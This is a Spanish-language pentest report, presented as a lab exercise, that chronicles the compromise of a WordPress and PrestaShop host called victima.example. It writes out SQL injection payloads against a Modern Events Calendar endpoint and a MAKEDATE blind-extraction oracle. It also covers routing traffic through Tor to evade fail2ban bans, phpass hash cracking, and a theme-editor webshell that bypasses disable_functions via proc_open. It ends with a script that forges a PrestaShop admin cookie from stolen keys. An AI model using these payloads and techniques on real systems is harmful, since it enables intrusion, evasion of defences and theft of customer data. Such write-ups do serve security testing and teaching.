.example, RFC 2606) y las IPs pertenecen a rangos de documentación no enrutables (RFC 5737), por lo que no corresponden a ningún sistema real. Las credenciales y claves se muestran redactadas como higiene editorial.
Pentest de laboratorio: victima.example
Cronología interactiva del ejercicio — ejecutado íntegramente en un laboratorio privado con datos sintéticos — desde el reconocimiento inicial hasta el post-explotación. 48 tareas planificadas, 37 completadas, 11 abandonadas. Objetivo: admin en WordPress. Resultado: 4 niveles de acceso sobre el target.
https://victima.example/ (WordPress) — CUMPLIDO- WordPress admin —
siteadmin / [REDACTED](root) - Webshell OS —
uid=1112(siteuser)via WP theme editor +proc_open - PrestaShop BO admin —
boadmin@provider.example/ SuperAdmin, cookie forjada - MySQL — 2 BDs:
wp_dbuser+db_shop, credenciales extraídas
- ~1.000 clientes (emails + bcrypt + PII)
- ~500 pedidos (métodos de pago + totales)
- ~750 direcciones (calle + código postal + teléfono)
- ~1.250 mensajes de cliente (email + IP + mensaje)
- Todos los registros son datos sintéticos generados para el laboratorio — no existen personas reales detrás.
La historia del engagement en una línea: cada hito es un momento decisivo. Rojo pulsante = bloqueo/ban, morado = pivote de estrategia, verde = avance, dorado = objetivo cumplido.
Escaneo completo TCP/UDP sobre 203.0.113.10 (victima.example / host34.provider.example). Rango bajo (1-10000) cubierto; rango alto hit host-timeout por firewall rate-limiting.
- 22 servicios abiertos identificados
- 80/443 — Apache httpd (HTTPS principal)
- 21 — Pure-FTPd (SSL/TLS) · 22 — SSH
- 3306 — MySQL 5.7 (unauthorized desde exterior)
- 53 — Unbound DNS · 5060 — SIP
- 110/143/993/995 — Dovecot POP3/IMAP · 587 — SMTP submission
- 2082/2083 — cPanel · 2086/2087 — WHM · 2095/2096 — Webmail · 2078 — Webdisk
- 8080 — http-proxy (tcpwrapped)
| Componente | Versión | Nota |
|---|---|---|
| WP core | 7.0.3 | desactualizado |
| The7 (dt-the7) | 14.2.0 | premium, última 14.4.6 |
| Modern Events Calendar Lite | 6.4.5 | CVE history → objetivo #1 |
| Slider Revolution | 6.5.12 | Dec 2021 |
| Elementor | 3.35.0 | ~2 major behind |
| Contact Form 7 | 6.1.4 | — |
| Instagram Feed | 6.10.0 | — |
| Google Site Kit | 1.179.0 | — |
| The7 Elements (dt-the7-core) | bundled | con theme |
xmlrpc.phphabilitado (system.multicall + pingback.ping + wp.*)- REST API
/wp-json/habilitada — expone usuarios wp-sitemap-users-1.xmlexpone autores?author=1→ 301 redirect a/author/siteadmin/- Usuario admin único:
siteadmin(ID=1) - Registro de usuarios: deshabilitado
- Info-disclosure:
readme.html,license.txt,install.php,repair.phpaccesibles
- Server header: Apache (ServerTokens Prod)
- Cabeceras de seguridad ausentes: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy
- Ficheros sensibles probados (todos 404):
.git/HEAD,.env,wp-config.php.bak,.htaccess,.htpasswd,backup.sql,backup.zip... - Directory listing: deshabilitado en
/wp-content/y subdirectorios /wp-config.php: 200 con 0 bytes (PHP interpretado, no leak)/server-statusy/server-info: 404 (no expuestos)
Sin tocar el host (estábamos en ban IP). Subdominios pasivos via subfinder/amass/dnsdumpster:
- Descubiertos:
cpanel.victima.example,webmail.victima.example,webdisk.victima.example,mail.victima.example,sitio-hermano.example— todos → 203.0.113.10 - Wayback Machine (waybackurls): sin leaks de config/creds
- Google dorks:
site:victima.example, pastebin 'target', 'shopowner'
- Admin Principal (SiteAdmin)
- Tienda física: Calle Ficticia 123, 01001 Ciudad
- Empresa: Empresa Operadora SL (Ciudad, CIF B00000000)
- Email:
shopowner@example.org - Histórico: Joomla en 198.51.100.99 (OVH Italy) hasta ~Q2 2021, migrado a WP ~April 2021
| Producto | CVE | Estado |
|---|---|---|
| The7 14.2.0 | CVE-2026-6646 (Stored XSS dt_default_button) | confirmed |
| The7 14.2.0 | CVE-2025-63076 (LFI dt-the7-core) | false_positive |
| Slider Revolution 6.5.12 | CVE-2024-34444 + CVE-2026-6728 | false_positive |
Primer intento de SQLi time-based en mec_list_load_more con OR SLEEP(5):
POST /wp-admin/admin-ajax.php?action=mec_list_load_more data: atts[include][]=0) OR SLEEP(5)# # Baseline: HTTP 200, 1.3s, JSON count=0 # Payload SLEEP → ban IP-level inmediato (fail2ban recidive jail)
mec_list_load_more + recidive para bans repetidos. Bantime >10min.Para eludir el ban IP, se montó un proxy Tor SOCKS5:
- Tor daemon en
127.0.0.1:9050(PID 8912) - ExitNodes:
es, fr, de, nl - Verificado: proxychains curl ipify devuelve IP Tor
- Alcance a victima.example desde Tor: ~50% success (OVH edge bloquea algunos exits Tor)
Tor + payload UNION quote-free de 8 columnas:
POST /wp-admin/admin-ajax.php?action=mec_list_load_more data: atts[include][]=0) UNION SELECT 1,0,0x323032372d30362d3135, 0x323032372d30362d3135,1813010400,1813010400,0x7075626c697368,1 -- - # Respuesta: HTTP 200 JSON {"end_date":"2027-06-15","count":0} # La fecha inyectada 2027-06-15 (0x323032372d30362d3135) aparece en end_date # → UNION ejecutándose confirmed
- Canal de exfiltración:
end_date(charset Y-m-d, solo fechas) - Subquery referenciando
wp_usersfunciona → confirma wp_users existe
- Sink:
app/libraries/skins.php:610—implode(',', $this->atts['include'])concatenado RAW en SQL - Parámetro inyectable:
$_REQUEST['atts']['include']/$_REQUEST['atts']['exclude'] - Tabla:
#__mec_dates(8 columnas: id, post_id, dstart, dend, tstart, tend, status, public) getVar()returns raw$_REQUESTsin sanitización; wp_magic_quotes solo afecta string literals (usar 0x hex)
3 requests booleanos via end_date oracle (TRUE=2028-01-01, FALSE=2029-01-01):
- FILE privilege: FALSE
- SUPER privilege: FALSE
- secure_file_priv: non-empty
INTO OUTFILE webshell dead. No se puede escribir archivo directamente via SQL. Hay que extraer datos por el canal blind.Técnica: MAKEDATE boolean oracle via mec_grid_load_more (handler alternativo NO en el jail de fail2ban):
atts[include][]=0) UNION SELECT 1,0, MAKEDATE(2027,ASCII(SUBSTRING((subquery),N,1))), ...,1 -- - # 1 byte por request via encoding MAKEDATE → byte extraído aparece como fecha en end_date # ~60 requests lentos (delay 3-5s, sin trigger de fail2ban)
- Prefijo de tabla WP:
xx_wp_prefix_(custom, nowp_) — ~14 requests - Hash phpass admin:
$P$B<REDACTED-PHPASS-HASH>/— ~34 requests - Confirmación: admin ID=1, user_login=
siteadmin
blind-extract-hash-tor— abandoned (Tor egress inestable)blind-extract-checkpointed— abandoned (superseded)blind-extract— completado
Hash phpass (WordPress portable hash, hashcat mode 400):
$P$B<REDACTED-PHPASS-HASH>/ # hashcat -m 400 + wordlist custom (Spanish/Ciudad/Target/Empresa/2026) + dive.rule # Crackeado: [REDACTED] (plaintext recuperado, valor redactado)
Verificación via xmlrpc.php wp.getUsersBlogs:
POST /xmlrpc.php <methodCall><methodName>wp.getUsersBlogs</methodName> <params> <param><value>siteadmin</value></param> <param><value>[REDACTED]</value></param> </params> # Respuesta: isAdmin=1, blogName=TiendaDemo, blogid=1 # ACCESO WP ADMIN CONFIRMADO 🎯 # Goal marcado como achieved
Con acceso WP admin (sesión cookie en /tmp/crack/wp_cookies.txt):
- Theme editor: Inyección en
404.phpdel theme dt-the7 - Bypass disable_functions:
exec,passthru,shell_exec,systemdeshabilitados en PHP 7.4.33, PEROproc_openpermitido - Webshell:
https://victima.example/wp-content/themes/dt-the7/404.php - Handlers:
?cmd=<sh -c>,?read=<path>,?dump=<sql>,?probe=1 - Ejecuta como
uid=1112(siteuser) gid=1113(siteuser) open_basedirvacío — acceso filesystem completo
Via webshell ?read=:
DB_USER=wp_dbuserDB_PASS=[REDACTED]DB_HOST=localhosttable_prefix=xx_site_
db_shopDB creds_COOKIE_KEY_(legacy md5)_NEW_COOKIE_KEY_=def0<REDACTED-KEY>..._COOKIE_IV_
Via webshell ?dump= (MySQLi directo):
| ID | Nombre | Perfil | Hash | |
|---|---|---|---|---|
| 1 | boadmin@provider.example | Admin Principal | SuperAdmin | $2y$10$<REDACTED-BCRYPT>... |
| 2 | contabilidad@victima.example | Contabilidad | profile=1 | $2y$10$<REDACTED-BCRYPT>... |
- Versión PrestaShop: fingerprint inicial estimó 1.7.7.x. Ground truth: 1.7.8.3 (leído via webshell).
- Directorio admin renombrado: ffuf/gobuster → todos 404. Descubierto via webshell:
/shop/admin7x2kp9/ - Módulos: 28 módulos enumerados via ffuf sobre
/modules/
| Módulo | Versión | CVE / Nota |
|---|---|---|
| ps_facetedsearch | 4.0.1 | CVE-2026-54159 Object Injection RCE, CVSS 10 |
| blockwishlist | 2.0.1 | uninstalled carpeta existe PERO no en ps_module |
| ets_whatsapp | 1.0.2 | ETS Software, 3rd-party con CVE history |
- Webservice API:
/shop/api/habilitado, 401 sin key - Theme: classic (webpack5, default 1.7.x)
- Registro de clientes: abierto por defecto
| CVE | Producto | Severidad | Estado |
|---|---|---|---|
| CVE-2023-30839 | PS core <1.7.8.9 SQL Manager bypass | critical | confirmed |
| CVE-2026-54159 | ps_facetedsearch 4.0.1 Object Injection→RCE | critical | confirmed |
| CVE-2022-31181 | PS core <1.7.8.7 SQLi→Smarty eval→RCE | high | suspected |
| CVE-2023-39528 | PS core <=8.1.0 path traversal+phar RCE | high | needs evidence |
| CVE-2022-31101 | blockwishlist 2.0.1 SQLi | high | false_positive |
- Cuenta cliente registrada:
pentest-test@example.net/[REDACTED] - Acceso front-office (customer), NO BO admin
CVE-2022-31101 requiere que el endpoint /module/blockwishlist/view sea alcanzable. 6 indicadores host-level confirman blockwishlist está UNINSTALLED:
- Todos los
/module/blockwishlist/*routes → 404 ?fc=module&module=blockwishlist&controller=view→ 404- DB ground truth:
SELECT id_module FROM ps_module WHERE name='blockwishlist'→ NO ROW
ps_module. No explotable.Formato estimado: cookie_name = PrestaShop-<md5(cookie_key+'Admin|'+cookie_key)>, contenido = serialize(array employee data), checksum = md5(...). No funcionó. PS 1.7.8.3 usa _NEW_COOKIE_KEY_ (AES via PhpEncryption) + sha256(_COOKIE_IV_+body) checksum.
Script PHP construido via webshell en /home/siteuser/public_html/shop/.ps_forge.php:
- Lee
_NEW_COOKIE_KEY_y_COOKIE_IV_deparameters.php - Inserta fila en
employee_session(id=<redacted>, token<REDACTED-TOKEN>...) para binding de sesión - Encripta cookie con
PhpEncryption(_NEW_COOKIE_KEY_)usando checksumsha256(_COOKIE_IV_+body) - Emite cookie
PrestaShop-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4=<REDACTED-ENCRYPTED-COOKIE>
- Ejecutado
.ps_forge.phpvia HTTP → cookie generada - Probada contra
https://victima.example/shop/admin7x2kp9/concurl -b - GET → 302 AdminDashboard?token=... → 200 (129KB full BO dashboard)
- Dashboard completo con menús: Pedidos, Catálogo, Clientes, Módulos, Preferencias, Parámetros, Estadísticas
- Banner muestra "Admin" (Admin Principal, SuperAdmin)
- ACCESO BO ADMIN CONFIRMADO 🎯
_PS_VERSION_=1.7.8.3, PHP 7.4.33. Access registrado: prestashop_bo_admin as boadmin@provider.example (root)- Blind SQLi via MAKEDATE oracle — el canal
end_datepermitió 1 byte por request sin trigger de fail2ban, usandomec_grid_load_more(no en el jail) en vez demec_list_load_more. - Cookie forge con script en servidor — más fiable que forjar offline porque usa las funciones nativas de PrestaShop con las keys reales.
- Post-exploit via webshell — acceso filesystem completo (open_basedir vacío) permitió leer configs y dumpear BD sin privesc.